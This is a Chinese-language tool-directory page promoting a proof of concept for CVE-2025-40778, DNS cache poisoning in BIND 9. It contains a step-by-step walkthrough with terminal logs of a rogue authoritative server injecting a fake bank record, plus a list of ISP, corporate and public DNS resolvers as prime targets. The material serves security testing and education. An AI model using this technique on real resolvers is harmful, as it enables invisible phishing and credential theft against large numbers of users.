Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-40778 — 概念验证,演示通过 BIND 9 中的附加记录注入实现 DNS 缓存投毒,并提供工具来验证和利用 CVE-2025-40778,用于授权安全测试。 | Kitploit
工具/GitHubGitHub/nehkark/cve-2025-40778
漏洞分析漏洞利用钓鱼攻击Web安全学习与教育DNS 分析
GitHubnehkark/cve-2025-40778

CVE-2025-40778

概念验证,演示通过 BIND 9 中的附加记录注入实现 DNS 缓存投毒,并提供工具来验证和利用 CVE-2025-40778,用于授权安全测试。

查看仓库
529个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-40778 概念验证

通过附加记录注入演示 DNS 缓存投毒漏洞的教育性示例。

⚠️ 免责声明

仅供教育目的使用

本工具仅用于教育和授权安全测试目的。未经授权将本工具用于您不拥有或未经明确许可测试的系统,属于违法行为且不道德。

作者对本工具被滥用或造成的损害不承担任何责任。

📋 描述

此 PoC 演示了受入侵的权威 DNS 服务器如何将投毒记录注入 DNS 响应,从而可能在用户不知情的情况下将用户重定向到恶意服务器。

攻击向量:

  • 受入侵的权威名称服务器注入附加 DNS 记录
  • 投毒记录被递归解析器缓存
  • 查询合法域名的用户被重定向到攻击者控制的 IP
  • 实现完全透明的钓鱼攻击(正确的 URL,恶意服务器)

可能的应用场景:

  • 100% 透明的钓鱼攻击(正确的 URL)
  • 绕过反钓鱼培训
  • 针对企业网络的大规模攻击
  • 持久性(高 TTL 可持续数小时)
  • 影响所有应用程序
  • 绕过 MFA(通过透明代理)
  • 通过更新分发恶意软件
  • 等等

👤 作者与联系方式

  • 研究员:krakhen.dev
  • GitHub:@nehkark
  • 邮箱:[email protected]
  • ICQ:24298753
  • 网站:https://vciso.cloud

🔧 环境要求

root@kitploit:~
pip install dnslib
pip install dnspython
pip install scapy

CVE-2025-40778 技术摘要

🔧 检查 DNS 版本

存在漏洞的 Bind9 版本

  • 9.11.0 – 9.16.50
  • 9.18.0 – 9.18.39
  • 9.20.0 – 9.20.13
  • 9.21.0 – 9.21.12
root@kitploit:~
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt

; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind.			CH	TXT

;; ANSWER SECTION:
version.bind.		0	CH	TXT	"9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"

;; AUTHORITY SECTION:
version.bind.		0	CH	NS	version.bind.

;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE  rcvd: 134

🔧 检查 DNS 服务器(BIND9)中的漏洞

此工具检测是否可以利用 CVE-2025-40778 漏洞

root@kitploit:~
============================================================
  CVE-2025-40778 - Forwarder Configuration Validator
============================================================

Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com

============================================================
  CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
  DNS Server: 200.0.0.X
  Domain:     www.company.com
============================================================

[1/3] Resolution Test for www.company.com
------------------------------------------------------------
    [✓] www.company.com → 201.0.0.X
    → Forwarder ACTIVE for www.company.com

[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
    Answers:    2 records
    Authority:  1 records
    Additional: 2 records

    ANSWER SECTION:
    → www.company.com. 300 IN CNAME www.holding.com.
    → www.holding.com. 300 IN A 201.0.0.X

    ADDITIONAL SECTION:
    → [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
    → [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X

    → [!!!] MULTIPLE ANSWERS - Possible poisoning detected

[3/3] Forwarder Latency Test
------------------------------------------------------------
    Query 1: 5.63ms
    Query 2: 7.46ms
    Query 3: 6.04ms
    Query 4: 5.04ms
    Query 5: 5.69ms

    Average: 5.97ms
    → [✓] Forwarder working correctly

============================================================
  CONFIGURATION VALIDATED
============================================================

🔧 步骤 1:激活 CVE-2025-40778 漏洞

描述:在此步骤中,您启动模拟受入侵名称服务器的恶意权威 DNS 服务器。该服务器监听特定 IP 和端口(127.0.0.2:5301),准备将投毒的 DNS 记录注入响应中。配置完成后,它将使用正确的 IP 地址响应 www.test.local 的合法查询,但同时为 www.bank.com 注入一条指向攻击者控制 IP 的恶意记录。这种双重响应行为是缓存投毒攻击的核心——易受攻击的 DNS 解析器将同时缓存合法答案和投毒记录,即使只请求了一个域名。

root@kitploit:~
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py 
============================================================
  CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit:   www.test.local. → 192.168.0.136
[*] Poison:  www.bank.com. → 192.168.0.100

[✓] Running. Ctrl+C to stop.

2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A

🔧 步骤 2:检查 CVE-2025-40778 入侵情况

描述:在此步骤中,您通过本地解析器(BIND)执行标准 DNS 查询,以验证基础设施是否正常工作。对 www.test.local 的查询应如预期返回合法 IP 地址(192.168.0.136)。此时,对最终用户而言响应看起来完全正常——没有任何可见的入侵迹象。然而,在幕后,易受攻击的 DNS 解析器已经缓存了两条记录:您请求的合法记录以及注入在响应附加部分中的 www.bank.com 投毒记录。此步骤确认您的 DNS 解析器成功与恶意权威服务器通信并处理了其响应。

root@kitploit:~
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A

; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local.			IN	A

;; ANSWER SECTION:
www.test.local.		120	IN	A	192.168.0.136

;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE  rcvd: 87

🔧 步骤 3:DNS 投毒 - CVE-2025-40778 已激活

描述:此步骤从攻击者的角度揭示了缓存投毒成功的证据。恶意 DNS 服务器的日志显示它收到了对 www.test.local 的查询,响应了合法答案,并成功注入了 www.bank.com 的投毒记录。"RRs: A,A" 表示响应中发送了两条 A 记录——一条合法,一条恶意。此时,受害者的 DNS 缓存已被入侵。此后该解析器对 www.bank.com 的任何查询都将返回攻击者的 IP(192.168.0.100),而非真实的银行网站,从而实现用户看到正确 URL 但连接到恶意服务器的透明钓鱼攻击。该攻击对最终用户不可见,并将持续到 DNS 缓存过期(TTL)为止。

root@kitploit:~
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35413] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35413] (udp) / 'www.test.local.' (A) / RRs: A,A
1272025-10-31 10:44:57 [DNSHandler:PoisonResolver] Request: [127.0.0.1:54962] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:44:57 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:54962] (udp) / 'www.test.local.' (A) / RRs: A,A

📖 结论

真实世界攻击场景:理解影响

这在实践中意味着什么:

想象您是一位普通用户,试图访问银行的网站。您仔细在浏览器中输入 www.bank.com——URL 100% 正确,没有拼写错误,没有来自邮件的可疑链接。浏览器的地址栏显示您信任的确切域名。一切看起来都合法。

但幕后实际发生的是:

您公司的 DNS 服务器已被攻击者入侵,他们利用此漏洞投毒了其缓存。当您的计算机询问"www.bank.com 在哪里?"时,被投毒的 DNS 返回的是攻击者服务器的 IP 地址,而非真实银行的地址。

攻击剖析

  • ✅ 您看到正确的 URL:https://www.bank.com
  • ✅ 您没有点击任何可疑的邮件链接
  • ✅ 您没有下载任何恶意软件
  • ✅ 您遵循了所有安全最佳实践
  • ❌ 但您连接的是攻击者的虚假网站

攻击者可以窃取什么:

  • 登录凭据 - 您输入的用户名和密码在键入的瞬间即被捕获
  • 会话令牌 - 即使您使用双因素认证(2FA),攻击者也能拦截您已认证的会话
  • 个人信息 - 账号、社会安全号码、信用卡信息
  • 商业机密 - 企业邮件、机密文件、API 密钥

为什么如此危险:

该攻击对受害者完全不可见。没有警告,没有危险信号,普通用户无法检测到它。即使是安全意识强的专业人士也可能成为受害者,因为攻击发生在基础设施层面,而非用户设备上。一台被入侵的 DNS 服务器可以同时影响数千名用户,使其成为针对组织的网络犯罪分子的高效攻击向量。

结论:CVE-2025-40778 使攻击者能够将信任武器化。当我们赖以浏览互联网的基础设施本身受到入侵时,即使是最谨慎的用户也会变得脆弱。这就是为什么理解、测试和缓解此漏洞对任何组织的安全态势都至关重要。

⚠️ 重要提示:理解攻击前提条件

关键要求:要使此攻击成功,受害者必须使用被入侵的 DNS 解析器。该攻击不直接针对最终用户的设备——而是针对用户依赖以浏览互联网的 DNS 基础设施。

真实世界的攻击目标:

攻击者的主要目标是入侵服务大量用户群体的 DNS 解析器。最有价值的目标包括:

  • ISP DNS 服务器 - 当攻击者投毒互联网服务提供商的 DNS 基础设施时,每个使用该 ISP 默认 DNS 设置的客户都会变得脆弱。这可能同时影响数百万住宅和企业用户。
  • 企业 DNS 服务器 - 组织通常为员工运行自己的内部 DNS 服务器。入侵这些服务器使攻击者能够访问整个公司的员工群体,使其成为企业间谍活动或数据盗窃的诱人目标。
  • 公共 WiFi 网络 - 酒店、机场、咖啡馆和会议中心通常为客人提供 DNS 服务。被入侵的公共 WiFi DNS 可以拦截商务旅行者和活动参与者的凭据。
  • 公共 DNS 服务 - 虽然受到严密保护,但 Google DNS(8.8.8.8)或 Cloudflare(1.1.1.1)等服务因其庞大的用户群体而成为影响最大的目标。

为什么这很重要:

攻击的有效性随 DNS 解析器的用户群体规模而扩大。入侵一个 ISP 的 DNS 服务器,您就可能入侵每个未手动更改 DNS 设置的客户。这就是为什么基础设施层面的 DNS 安全至关重要——单个易受攻击的解析器可以创建影响数千或数百万信任该基础设施安全性的用户的巨大攻击面。

下载工具